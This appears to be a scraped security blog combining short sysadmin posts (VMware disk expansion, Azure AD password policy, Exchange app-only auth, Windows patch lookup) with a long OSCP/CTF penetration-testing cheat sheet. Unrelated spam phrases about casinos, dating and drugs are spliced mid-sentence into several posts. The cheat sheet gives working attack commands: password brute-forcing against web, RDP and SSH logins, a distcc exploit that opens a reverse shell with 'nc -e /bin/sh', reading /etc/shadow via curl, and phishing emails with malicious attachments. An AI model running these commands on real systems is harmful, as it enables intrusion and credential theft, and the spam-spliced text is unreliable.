GoBuster Using Multiple Lists

One issue I had with Gobuster and any of the site brute forcing tools like dirbuster/dirb is that they only take one list at a time per command.
So to run several lists through them is extremely tedious.

I instead opted to create a wrapper script in Python to call gobuster on multiple lists for me.  I used lists that come with the newer Kali upgrades/distros and make for a good start when attacking boxes for practice in labs or CTFs.

In case it isn’t installed the only non Python basic module needed is “sh”

“pip install sh”

Expanding a VMware VM OS disk in Ubuntu 20 with Workstation 16

  1. The VM needs to be powered off
  2. Back up your VM to usb drive or otherwise
  3. Delete the snapshots associated to the VM
  4. Expand the drive(make sure you have space on the host)
  5. Resize the drive within the Ubuntu vm in this case
Deleting snapshots within workstation 16 Snapshot manager for the VM

Expanding the drive
Once expanded to the size needed save the config and you will need to repartition the drive within the VM to make the space available

Confirm the disk your expanding by running the command jardiance withdrawal Muborak lsblk

“lsblk” command shows the 40G disk expanded from 20G. We currently see the “sda5” partition as the largest visible and working used space along with the other sda* partitions.

Resizing the partition

Using the Disks tool(in Ubuntu 20 > Activities >Search > Disks) I had to resize both the Extended and Filesystem partitions. First the Extended partition then the Filesystem. BACKUP!! before doing this. You can resize by clicking the gear icon then choosing “Resize” drag the slider as far as you want to eat into the Free space.
gay hook up near davidson After resizing you have the fully expanding disk in use by your filesystem.

On-Prem AD vs AzureAD Password policy usage

For hybrid environments if you need to find out what password policy is officially being used there are few guidelines to keep abreast of.

If your user accounts are synchronized using Azure AD connect they will be using the n1 casino mobile Agrigento on-premises AD policy

Use this command to check the policy from the on-prem AD
Get-ADDefaultDomainPasswordPolicy -Identity <YourDomain.com>

10 free no deposit bonus Lockport AzureAD policies apply when user accounts that are created and managed directly in Azure AD.

north las vegas gay dating city The following information is pulled from this guide directly from MS.

AzureAD Password Policies
desert diamond casino free play Property chat maroc gratuit en ligne sans inscription intangibly Requirements
Characters allowedA – Z a – z 0 – 9 @ # $ % ^ & * – _ ! + = [ ] { } | \ : ‘ , . ? / ` ~ ” ( ) ; blank space
Characters not allowedUnicode characters.
Password restrictionsA minimum of 8 characters and a maximum of 256 characters. Requires three out of four of the following: Lowercase characters. Uppercase characters. Numbers (0-9). Symbols (see the previous password restrictions).
Password expiry duration (Maximum password age)Default value: 90 days. The value is configurable by using the Set-MsolPasswordPolicy cmdlet from the Azure Active Directory Module for Windows PowerShell.
Password expiry notification (When users are notified of password expiration)Default value: 14 days (before password expires). The value is configurable by using the Set-MsolPasswordPolicy cmdlet.
Password expiry (Let passwords never expire)Default value: false (indicates that password’s have an expiration date). The value can be configured for individual user accounts by using the Set-MsolUser cmdlet.
Password change historyThe last password can’t be used again when the user changes a password.
Password reset historyThe last password can be used again when the user resets a forgotten password.
Account lockoutAfter 10 unsuccessful sign-in attempts with the wrong password, the user is locked out for one minute. Further incorrect sign-in attempts lock out the user for increasing durations of time. Smart lockout [docs.microsoft.com] tracks the last three bad password hashes to avoid incrementing the lockout counter for the same password. If someone enters the same bad password multiple times, this behavior will not cause the account to lock out.

It’s important to note that some settings can’t be modified if your user accounts are exclusively managed within AzureAD.

App-only Authentication for Exchange Online w/Powershell

A modern authentication alternative to using service accounts in your Azure Active directory environment that may otherwise have to bypass basic authentication protections in order to perform unattended scripting operations.


  • Not needing to bypass the Modern Authentication enforcement in your Conditional access policies or MS365 settings.


  • Anyone with the certificate and application information could possibly authenticate to your exchange environment so the certificate should be highly guarded.

Checking if you have accounts on different Authentication profiles that are bypassing the security defaults. Powershell commands:

# Connect to Exchange 
Import-Module -Name ExchangeOnlineManagement

# Get all policies
Get-AuthenticationPolicy | Format-Table -Auto Name

# Get a particular users policy
 get-user -Identity service_acct | select AuthenticationPolicy

 # Set a particular users policy
  Set-User -Identity service_acct -AuthenticationPolicy "Block Basic Auth"

DISCLAIMER: Please follow your own security protocols. This is just a demo.

Demo video on setting up an Azure Automation runbook to use a registered application.

This starts from building the automation account to finally executing a script that will connect to Exchange Online and perform commands.

SOAR Product Research

From an engineers perspective Security Orchestration,Automation and Response(SOAR) products are incredibly enticing in that they offer the ability to automate technical aspects of your day to day work but also streamline the process involved in the decision making and triage.

API integrations:

A very appealing piece about SOAR products is that they offer API integration for which you can use to automate responses to alerts or use for alert enrichment. A lot of times I might have to connect to an API, perform the logic and get into the code so to speak in order to make something happen. The ultimate promise with SOAR is we don’t have to do this. A no code/programming experience.

Most vendors provide a list of integrations they have. Although this doesn’t exactly list out what capabilities it has it is good to know that the vendor has been developing integrations for your organizations particular product suite or covers most of it. Some vendors might not have as many capabilities or lean on community developed extensions.

Use Cases:

  • Automated Phishing investigations from alerts to purges
  • Enhance alert investigations by providing additional context data that would be manually done by a SOC analyst
  • Automate threat hunting cases by pulling data from all your disparate tools
  • Automate IOC lookups in Threat intel platforms like VirusTotal or Talo Intel
  • Automate user permissions validation and account disables
  • Automate Provisioning/Deprovisiong beyond just your Active Directory environment ie;your payroll app too
  • Automate the Malware incident response steps: Identify,investigate,Contain and remove

Chat-bot Operations:

Some of the vendors offer a chat operation to send alerts that bubble up to your team via either Microsoft’s Teams or something like a Slack group chat.

Penetration Testing for OSCP – Guide 2

The guide touches on searching for exploits,getting/using reverse shells, escalating for Administrator accounts on Windows/Root for Linux, pivoting across networks, Attacking a windows domain, password cracking techniques, exploit testing, post root/admin actions and more.

Please follow the entire guide on my GitHub account(see link below). I can more readily and easily display Markdown files which make for a much easier conversion from my Jupyter Notebooks where I build most of my documentation.


Automated .ps1 scripts with Task Scheduler

Action Options to run a script in Task Scheduler.

  • Program/Script: Scripts%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
  • Arguments: -File .\Copy-Jobs_SB.ps1
  • Start in(path): C:\Anaconda3\Notebooks\MyScriptsTEST

Schedule Setup

Pretty simple outline in the gui. Use the “run now” buttons to verify they will actually work though when ran on a schedule.

Use Secure Strings to at least hide the plain text passwords or keys you use in your scripts. Remember that you must generate a Secure String with the account you will be using.

Also make sure to automate these scripts from a secured server. No one should be able to easily connect and read these other than yourself of the security team.

Troubleshooting non-working scripts

Trouble Shooting a service account issue. For instance you originally used an account you tested with(like your personal user admin account etc)

Use a Try/Catch block in your ps1 script in the case you can’t tell if it’s something getting caught up while Task Scheduler runs the script. This happened to me when configuring a service account for production to run the script that I had originally tested with my user account. After verifying the script ran I found out it was getting caught up in the translation of a Secure String I created with my user account. These Secure Strings need to be generated by the account that runs the script.

Try {  


Catch {
$ErrorMessage = $_.Exception.Message
$FailedItem = $_.Exception.ItemName
$hrresult = $_.Exception.HResult
$stacktrace = $_.Exception.StackTrace
Add-Content c:\temp\log.txt "second error message was: $ErrorMessage Failed Item was: $FailedItem `nstacktrace was: $stacktrace $hrresult"

Below is an example of exceptions logged that deduced my issues to the Secure String used.

Future Improvements:

  • Run automated scripts using an MSA account

Finding a Microsoft KB in a Cumulative Update

• Windows patches linked to Knowledge Base articles or MS bulletins roll up and become unavailable as a hot-fix/single update file and go into a cumulative update. This can pose an issue when your Deployment system like SCCM or BigFix no longer have the update to push to machines since they follow Microsoft’s patch catalog for which old updates get rolled up and removed. This can become an issue when your trying to force patch machines that may become vulnerable to malware that the patch can fix and you can’t readily find what patch to use since the KB originally able to fix a vulnerability is now no longer available for single update.
• Although keeping all machines up to date is best practice it can become an issue when legacy applications begin to break and when if settings allow users to delay updates it’s likely a population of un-patched machines will arise.
• Windows 10 patches are normally fixed in new versions so updating works but if you want to see if you can find a KB or MSXX-xxxx bulletin you can search the known cumulative updates
Find your Security Vulnerability Builletin:
MS17-010 – google search and go to the MS site https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010 Follow it to the KB used to install on Win10 1511 x64 machines https://support.microsoft.com/eu-es/help/4013389/title you’ll find the install instructions provide KB4013198 as actual file needed.
Search for this in the MS update catalog. But you’ll have to do it by Cumulative update since this is older and rolled up.
• Go to: http://www.catalog.update.microsoft.com
o Search for “windows 10 version 1511” filter by last updated
o Look for latest cumulative update for the version and arch.
o Search for the KB installer “KB4013198” under the “Update Details” > “Package Details” using ctrl+F for quick finds

Finding the Cumulative update in BigFix so you can install it on machines.
Go to:

https://YourBesServer.domain.com > log in > Apps > Patch > use the KB patch name for the Cumulative update you found “KB4093109”

From here you can see that it is available and you can deploy it to vulnerable machines to patch for the SMB exploits.

Nmap Technique

  • Quick commands https://github.com/DevilSquidSecOps/NetworkOps/edit/master/Nmap.md
  • -sC means default scripts scan
  • -sV means do version dection of port service
  • -oA means ouput to .nmap .gnmap and .xml formats to specified file
  • –top-ports you can specify 100,1000,10000
  • -oN <filename> export to a normal file(like nmaps normal output)
  • -sS syn scan
  • -iL enter a list of host ips ie; hosts.txt

Initial Subnet Scan

  • TCPnmap -oA top1000TCP.nmap -sS -sV -T3 –top-ports 1000
  • UDPnmap -oA top100UDP.nmap -sU -sV -T3 –top-ports 100

Initial Host Scan

nmap -oN scan.nmap -v -sS -sU -T5 –top-ports 1000

nmap -sC -sV -oA fighter

Scan top 10,000 ports

  • avg 134.74 seconds

nmap -oN scan.nmap -v -sS -sV –top-ports 1000

Using Vulners nse script

nmap -oN vulners.nmap -sV –version-intensity 9 –script vulners -p 80

Scan All ports

nmap -p- -T5 -oN all.nmap

Grep open ports

  • need nmap gerppable file

grep -oP ‘\d{1,5}/open’ scan.grep

Grep Particular Open Port and list hosts

cat top1000.nmap.gnmap | grep “22/open/” | awk ‘{print $2}’

scan from list of parsed hosts

nmap -sV -oG smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args= -d -Pn -v -p 139,445 -iL smb-open.txt

Awk Open ports and pipe to new NMAP scan

  • -F ” |/” sets the field separator ie; 22/open
  • /open/ on any line that has “open” in it
  • {print $1} print the first field of that line ie; “22” if the line started with 22/open
  • {print $NF”:”$4} this would print the last field in the line followed by a colon and then the 4th field
  • ORS=”,” this replaces the newline chars with a comma putting all ports from an nmap scan into one line separated by commas
  • {print substr($1, 1, length(\$1)-1)} choose the line “$1, 1,” and make it’s length the line itself minus one char “length(\$1)-1)}”

awk -F” |/” ‘/open/ {print $1}’ ORS=”,” scan.nmap | awk ‘{print substr(1,1,length(1,1,length(1)-1)}’ | xargs -I ‘{}’ nmap -oN vulners.nmap-v -sV –version-intensity 9 -T2 –script vulners -p {}


  • use instead of ping to send syn packets instead or any flag you wantnping –tcp -p 80 -c 4 –flags SYN
  • Nping with proxy chains using a connect scan as requiredproxychains nping –tcp-connect -c 1 -p 3389


  • testing the api nmap would be using if i found FileZilla as an open service

curl https://vulners.com:443/api/v3/burp/software/?software=FileZilla\&version=0.9\&type=software

Vulners Nmap NSE Script

  • once initial scan completes do a service scan against the known ports and use the vulners.nse script

nmap -oN vulners.nmap -sV –script vulners -p 80

  • grep for exploit-db or github POCs

cat vulners.nmap | grep -i -b “exploit-db|github.com”

  • Only print CVEs that have a POC on exploit DBcat vulners.nmap | awk ‘{print $4}’ | grep http | xargs -I ‘{}’ sh -c ‘curl -s {} | grep -i -b -c exploit-db.com && echo “{}”‘

Python vulners Module#Simple Usage Example import vulners #CHANGE CAN to CVE FROM NIKTO SCANS vulners_api = vulners.Vulners() cve = vulners_api.document(“OSVDB:3268”) cve#CVSS DATA print(cve.keys()) print(cve[‘cvss’]) print(cve[‘cvss’][‘score’])

  • run dirb on discovered site directories or simply the home site itself to find directories and files of interest to then discover webapps for which to run searchsploits on
  • supply a wordlist you think might yield special directories for the particular site or just use the default common list Dirb uses

Tests against a comon wordlist in silent mode(-S)

dirb -S


Use "-k" option to bypass certifcate checking issues in HTTPS
use "-r" to follow redirects like http pointing you to https after
use "-x" to list exensions against normally 403 forbiddens 
Use -U/-P for a username password to use if the site needs basic authentication
    >dir /usr/share/wordlists/dirbuster
    >dir /usr/share/wordlists/dirb
    >dir /usr/share/seclists/Discovery/Web-Content
use -o for output to a file
use -to 100s to set the http timeout to 100 seconds instead of default 10 this is good for slow websites
use "-t" to set number of concurrent threads ie; 100 for one hundred requests at one time


gobuster -e -u -w /usr/share/wordlists/dirb/common.txt

gobuster -e -u -w /usr/share/wordlists/dirb/common.txt -k -r

  • wild card responses basically indicate there is an image or redirect to the same page everytime so it can’t run properly. Use Wfuzz in this case

Format gobuster discovered page codes 200,301,302 into new file for curl to then iterate with

  • use uniq filters for unique items only and we grep out the “?” matches which are normally nothing

cat gobuster.txt | grep -v 403 | grep -e 200 -e 301 -e 302 | cut -d ” ” -f 1 | grep -v ? | uniq > webpages_200_300.txt

  • grepping for 200 and 302 codes and removing lines with [+] ‘

cat gobuster.txt | grep “200\|301\|302” | grep -v “[+]\|?”


  • Using proxychains to scan a disparate networkproxychains gobuster -o gobuster.txt -e -u -w /usr/share/seclists/Discovery/Web-Content/dirbuster_all.txt

Gobuster/Burpsuite Socks Proxy

  • you can scan a host through a socks proxy if you:a. make the socks tunnel ie; ssh -D paramb. turn socks proxy on for burpsuite requestsc. bind a listener port on burp to the remote address and port on a local port to scan through then just turn gobuster at that and it should run without using proxychains in the command
    • binding port 8085 on my local host to route to on the remote network after turning on “Use Socks Proxy” in the “User Options” on BurpSuitegobuster -e -u -t 50 -to 100s -w /usr/share/dirb/wordlists/big.txt -k -np -r -x pl,py,php,exe,txt,sh,old -o gobuster1.txt


  • the first line of your wordlist can’t be empty otherwise you get empty dictionary error
  • use this if gobuster gets the “wildcards” issue
  • -c is to color code
  • -Z move on if pycurl error happens
  • -w is short for wordlist to supply
  • –hh is for hide chars in a page ie; you should see same number of chars from a fuzz which if is the same and always returning 200 codes you can filter with this
  • –hc is used to filter status codes ie; 404,403 etc you supply multiple with commas
  • –hl filter for number of lines returned use commas to separate
  • -p enter burp proxy if i have it on or direct SOCKS proxy i’m running see below example
  • -d form POST request grab from Burp raw params sent
  • -f fuzz.txt to save output to file
  • FUZZ is the keyword used for the placement of the wordlist words during the fuzz
  • “–req-delay” is the max seconds wfuzz should take when waiting for response
  • “–conn-delay” stop listening after given number of seconds

wfuzz -c -Z -w /usr/share/wordlists/dirb/common.txt –hh 171 –hc 404

Fuzz list of websites

  • useful if the site responds but oddly has many useless hits from my gobuster script.cat hits2.txt | awk ‘{print $1}’ > sites.txt

wfuzz -f fuzz.txt -c -Z -w ./sites.txt –hh 0,101 FUZZ

Brute Force Web login with Proxy to Burp

wfuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou-05.txt -p –hs “Incorrect” -d “username=admin&password=FUZZ&btnSubmit=Submit”

using proxychains

  • enumerate dirs/pages since gobuster fails hereproxychains wfuzz -f fuzz.txt -t 100 -c -Z -w /usr/share/seclists/Discovery/Web-Content/big.txt –hc 404

Using SOCKS Proxy Switch

  • can use the built in switch instead of proxychains when scanning over a socks proxy

wfuzz -f fuzz.txt -t 100 -c -Z -w ../../../../edbmachine/enum/test/dirb2-all.txt –hc 404 -p


  • Custom wordlist building for website directory brutes with gobuster
  • “-w” Specify the output file
  • “-d” specify depth of links to follow; default is 2
  • “-m” specify number for word count for miniumum word length to capture
  • “-e” include emails found
  • “-a” include meta data

cewl -w customwordlist.txt -d 5 -m 3

Brute Forcing


  • Must run with Python2, otherwise you will see UTF-8 errors with rockyou.txt list!!!!
  • Modify your Patator Script to do this
  • -e for encoding scheme to use in case creds needs to be encodded
  • you need to enter a “\” after each header option and enter the next part on the next line so it lines up in burp etc
  • -l <dir name> option to save to a directory with csv output and more

Http Login Form

  • use burp to find the body params that take the user/pass fields and enter them like below, Leave off the last Quotation to and hit enter to make a new line for each param of our Request Header and then finally close it off and enter our ignore switches
  • “FILE0” is a placeholder for the password list used, Alternatively start with a COMBO0 and COMBO01 list also as this switch works too
  • we simply state admin as the username but could use “FILE1” place holder too to enter a list
  • for the header params you want to space them properly with an “\” after each param or copy paste like below and edit it should show a “>” for each new line in the shell prompt
  • “proxy” param is the burpsuite proxy i use docs have this wrong as “http_proxy” except my man is correct
  • “-x ignore:fgrep=”Invalid Login” this param is looking for text in the body that you want to ignore successful outputs for ie; if invalid login shows up it was unscuccessful don’t display.

  • tell curl what url to visit in this case get a local fileurl = “file:///etc/shadow”
  • next output to another local file
  • confirmed this will also overwrite any supplied parameters on the commandline ie; ifyou do a -o to a different file path it will use this config output param instead output = “/home/floris/admin-area/passwd”curl -K/curl_config

Use Hydra or use Sparta interface that utilizes hydra if you want
Details needed:
1. Login Submit buttin post grabbed easily from wireshark or even burpsuite:
  Note: filter for wireshark http-posts: http.request.method == "POST"
      Then follow the tcp or HTTP stream to see the post header and response
 2.The final portion of the hydra command should include the text grabbed from the body of the response that is returned in the message

SQL Shell Commands

  • user creds are normally found in php files or other web files on the system or via admin comments on web pages

Remote connection to remote SQL DB with user Walter, host, and port specified. Supply creds when prompted

mysql -u Walter -p -h -P 3305

If you have a local shell try this bash script to override for the root account(worth a try)
while [ 1 ];do mysql -u root --password=123; done
at first logon display the databases to look through
show databases;
Choose a database
use usersdb 

Show Tables in a database after selecting it
show tables;
display all contents in a Table
select * from table1;
select ‘blablabla_text’ into outfile ‘/tmp/blablabla’ 
Display a system file’s contents
select load_file('/tmp/blablabla)

Display all tables in all databases from information schema

SELECT * FROM information_schema.tables;


  • Dumping the users table for a wordpress site

Patator RDP NLA brute

  • combo file used
  • failures will dsplay actual failed login otherwise you might see authentication only etc messages with error but it succeeded actually, you shoudl see “denied” in real fails
  • –rate-limit=N consider using this to delay each test since it might lock us outpatator rdp_login host= user=COMBO00 password=COMBO01 0=./combo.txt -x ignore:fgrep=’denied’


  • rate limit at one thread to avoid major lockouts across a remote network

Domain Creds

patator rdp_login host= user=’CONTOSO\Billy’ password=’!PassWord!’

  • Confirmed this works against a domain joined machine, might see a traceback error in patator code at the end but its because it’s done

patator rdp_login host= user=’CONTOSO\COMBO00′ password=’COMBO01′ 0=/root/lab-net2019/combo-creds.txt -x ignore:fgrep=’DENIED’ –rate-limit=2 –threads=1

  • common errors: ERRINFO_SERVER_INSUFFICIENT_PRIVILEGES ACCESS DENIED ; not seeing these means success

Nrack rdp brute

  • Works with socks proxies at least against XP machine RDPs were patator seems to mess up
  • –proxy type://proxy:port: Make connections via socks4, 4a, http.
  • if timed out is 1 it’s because your proxy is overloaded. happened when was running a huge gobuster scan and it said too many ifles on the ssh prompt.
  • if supplying a wordlist it shouldn’t be larger than 50 passwords since it might not properly report back(use the parameters below)
  • probes are the number of tries sent in
  • Brute for user offsec and a password listncrack -vv –user walter -P passwords.txt rdp://

  • if you find users and a way to login with their passwords into an email server ie;’s solidstate machine), then you can download their emails.

Start Thunderbird


add mail clients

  • example you have user mindy discovered on and have her password then add the user with username mindy@ and enter her password and bypass the exception
  • use “get messages” button to download their emails and read for information


  • use this to send emailwith malicious attachments to discovered user addresses
  • -f is your email(can be faked but best use known domain name)
  • -t discovered user email address
  • -u Subject title
  • -m body of message
  • -a attachment
  • -s Mail server IP

Sending an attachement

sendEmail -f test@contoso.com -t nico@contoso.com -u RTF -m “Please Convert this file” -a test2.rtf -s


  • this tool is normally used once i have credentials to a users email
  • Sending attachment with malicious pdf to user using authentication via smtp
  • “-t” is target, “-f” is from aka me, “-xu” is username ot authenticate, “-xp” is password to use, “-s” is server/port default 25, “-u” is subject, “-m” is boxy, “-a” is attachment

sendEmail -t jane@contoso.local -f billy@contoso.local -xu billy@contoso.local -xp P@ssWORD1234 -s -u report -m “my project” -a report.pdf

Telnet SMTP

  • Send commands manually sometimes needed when the tools time out but you verified the server will connect

Check if usernames exist for Sendmail Servers

telnet tophat.acme.local 25

  • this displays if Root exists and will show an email ie; root@redhat.contoso.com if the mail for tha user is routed thereEXPN root

RCPT method(sendmail servers)

MAIL FROM:test@contoso.local

  • this will output ok if they existRCPT TO:bob@redhat.contoso.local

NMAP Brute Force SSH

  • sV switch is needed if the port isn’t normally 22 so it identifies properly
  • if you only have one user just pass a list with that one user

nmap –script ssh-brute –script-args=userdb=/root/HTB/hosts/shocker/user.lst,passdb=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt,brute.emptypass=True -d -v -sV -p 2222

Patator Brute force SSH

  • FILE0 for the password list place holder
  • First use without the ignore message parameter to see what messages patator is getting and then set it to that
  • NET0 can be used for first place holder on a subnet to spray
  • https://en.kali.tools/?p=147
  • –max-retries only retry 1 or 2 times for efficiency
  • timeout 10 set to ten seconds for efficiency or more to make sure your connecting
  • -l output directory of files
  • “–threads 10” decrease or increase if you see to many errors

Single user many passwords

SSH Port Forwarding

  • use in cases where your on a victim box and it has a port open only local ie; so to make it available remotely we can port forward to this port from say 3305 with ssh
  • -g means allow clients on the network toconnect not just local clients
  • -N means don’t start a shell just do port forwarding
  • -f means make this a background process
  • doris@localhost is basically the user that will start this session so may need their creds

Local Port forward

ssh -g -L 3305: -f -N doris@localhost

SSH w/Key File

  • Use this command to connect if you have a private key and it’s password as it takes both
  • keep in mind the public key will also have to be in the authorized_keys on the targetssh -i id_rsa takis@


get the community string and search for miB values that can identify software and other configs on vulnerable machines


discover the default community string with attack
  • nmap -Pn -sU –script=snmp-brute -p 161


Requires a community file with community strings to try (public,private,manager) and a hosts lists
  • onesixtyone -c community -i snmphost.txt


Great for quick enumeration and details of the remote MIB if community/private stringsi known
  • snmp-check -w -c public > snmp-check.txt


Install the MIB definitions on Kali

  • snmpwalk will need to have the MIB definitions so you might need to install this package otherwise the output might have missing data. Then comment out the snmp.conf file so the newly installed defeinitions are used during a walk.
    • apt-get install snmp-mibs-downloader download-mibs
    • nano /etc/snmp/snmp.conf #comment out all lines as mentioned in the file itself

Query for all OIDs using version 2c, and a community string of “public” against remote host

snmpwalk -v 2c -c public

Query a remote host for possible user strings in hte MiB us version 2c

snmpwalk -v 2c -c public SNMPv2-MIB::sysOREntry

DNS(T:53 U:53)

  • If you see tcp and udp port 53 open on a server locally or externally it likely is running a dns server
  • Zone transfers to get all dns-ip mappings from a nameserver
  • you must know the domain for which the dns server is master over to pull zone transfers from it


nmap -oA dnsscans –script “dns and not dns-blacklist” –script-args=dns-nsec-enum.domains=bank.htb,dns-nsec3-enum.domains=bank.htb,domain=bank.htb -d -sV -Pn -vv -sU -sS -p T:53 U:53,5353

Enumerate Subnet for DNS entries against known DNS server

  • dns servers can be captured from compromised host settingsnmap -v -oN network-dns.nmap –dns-servers -sn -T5 | grep -v “host down” > dns.nmap
  • For cleaner outputgrep -i “Nmap scan” dns.nmap | awk ‘{print $5 ” ” $6}’
  • To remove the parenthesis from the output so even bettercat DNS.nmap | tr -d ‘()’
  • to get only the dns namesawk -F”.” ‘{print $1}’ dns.nmap > dnsnamesonly.txt


  • use domains found in http links with NSlookup
  • Curl/grep for all http links through the list of sites i get with gobuster and look for domain names i can use to identify the host DNS server namegrep http sites.txt | xargs -I {} sh -c “curl -s {}| grep -Eo ‘(http|https)://[a-zA-Z0-9./?=<]*'”
  • Curl using the Header flag and changing the host param(sometimes you will see different results and possibly a hostname identified in script or comment tagscurl -s -H “Host: test” | grep -Eo ‘(http|https)://[a-zA-Z0-9./?=<]*’


  • use this to probe for the servers hostname



  • quick test of local host
  • reverse lookup
  • test for resolution of the host name to verify bank.htb

Bash one-liner to enumerate subnet from pivot target

for i in $(seq 254); do nslookup 10.1.1.$i |grep -in name; done


  • test for for resolution against entire subnets in case something is therednsrecon -r -n

dnsrecon -r -n

dnsrecon -r -n

dnsrecon -n -d ctfolympus.htb -a


dnsenum <enter domain>


  • do this even if all else fails for some reason nmap and the other tools can’t catch any hints at times

Zone Transfer

  • Against root zonedig axfr @
  • Against domaindig axfr @ ctfolympus.htb

Hosts File/resolv.conf

  • /etc/hosts file is first in name resolution precedence
  • modify firefox setttings so it reads from hosts file properly https://support.mozilla.org/en-US/questions/1011327
  • domain names found via a dig dns transfer could now be used to map to the target IP and find addiotional websites


  • this will resolve any entries in the zone transfer as opposed to just the one we put in our hosts filenano /etc/resolv.conf
  • add: “nameserver” at the top


  • the dns config for proxy chains is in /usr/lib/proxychains3/proxyresolv
  • change the hardcoded address to the nameserver of the internal network your scanning and you can test something like nslookup

Nslookup on internal network for a host

proxychains nslookup

#!/bin/sh # This script is called by proxychains to resolve DNS names # DNS server used to resolve names DNS_SERVER=${PROXYRESOLV_DNS:-} #CHANGE DNS SERVER HERE

python jexboss.py -host


  • if this port is open use the following nmap script to find if it is exploitable and if you can execute system commands
  • check for ncat or bash/python to then execute a callback command to your listener

simple check for the vuln and the id command

nmap -p 3632 –script distcc-cve2004-2687 –script-args=”cmd=’id'”

Using ncat call back to our attacking machine

nmap -p 3632 –script distcc-cve2004-2687 –script-args=”cmd=’nc -e /bin/sh 443′”

Port Knocking

  • Method of obfuscation by only openeing a port ie;22 after firt connecting to a series of defined ports ie; 444,555,777. More of a blue team tactic
  • this would then connect to ssh almost like an additional authentication step where it might otherwise seem closed to the attacker

knocking ports to open ssh example using nmap

  • first connect to ssh and before it times out run the port knock script below

ssh ripley@

for x in 3456 8234 62431; do nmap -Pn –scan-delay 0.2 –max-retries 0 -p $x; done


hping3 -S -p 7 -c 1; hping3 -S -p 2366 -c 1; hping3 -S -p 435-c 1

Nmap Technique

  • Quick commands
  • -sC means connect scan
  • -sV means do version dection of port service
  • -oA means ouput to .nmap .gnmap and .xml formats to specified file
  • –top-ports you can specify 100,1000,10000
  • -oN <filename> export to a normal file(like nmaps normal output)
  • -sS syn scan

Initial Scan

nmap -oN scan.nmap -v -sS -sU -T5 –top-ports 1000

nmap -sC -sV -oA fighter

Scan top 10,000 ports

  • avg 134.74 seconds

nmap -oN scan.nmap -v -sS -sV –top-ports 1000

Using Vulners nse script

nmap -oN vulners.nmap -sV –version-intensity 9 –script vulners -p 80

Scan All ports

nmap -p- -T5 -oN all.nmap

Grep open ports

  • need nmap gerppable file

grep -oP ‘\d{1,5}/open’ scan.grep

Awk Open ports and pipe to new NMAP scan

  • -F ” |/” sets the field separator ie; 22/open
  • /open/ on any line that has “open” in it
  • {print $1} print the first field of that line ie; “22” if the line started with 22/open
  • {print \$NF”:”\$4} this would print the last field in the line followed by a colon and then the 4th field
  • ORS=”,” this replaces the newline chars with a comma putting all ports from an nmap scan into one line separated by commas
  • {print substr(\$1, 1, length(\$1)-1)} choose the line “\$1, 1,” and make it’s length the line itself minus one char “length(\$1)-1)}”
  • -I ‘{}’ Finally pipe to xargs with these params to store the line with now comma separated ports and feed into nmap

awk -F” |/” ‘/open/ {print $1}’ ORS=”,” scan.nmap | awk ‘{print substr($1, 1, length($1)-1)}’ | xargs -I ‘{}’ nmap -v -sV –version-intensity 9 –script vulners -p {}
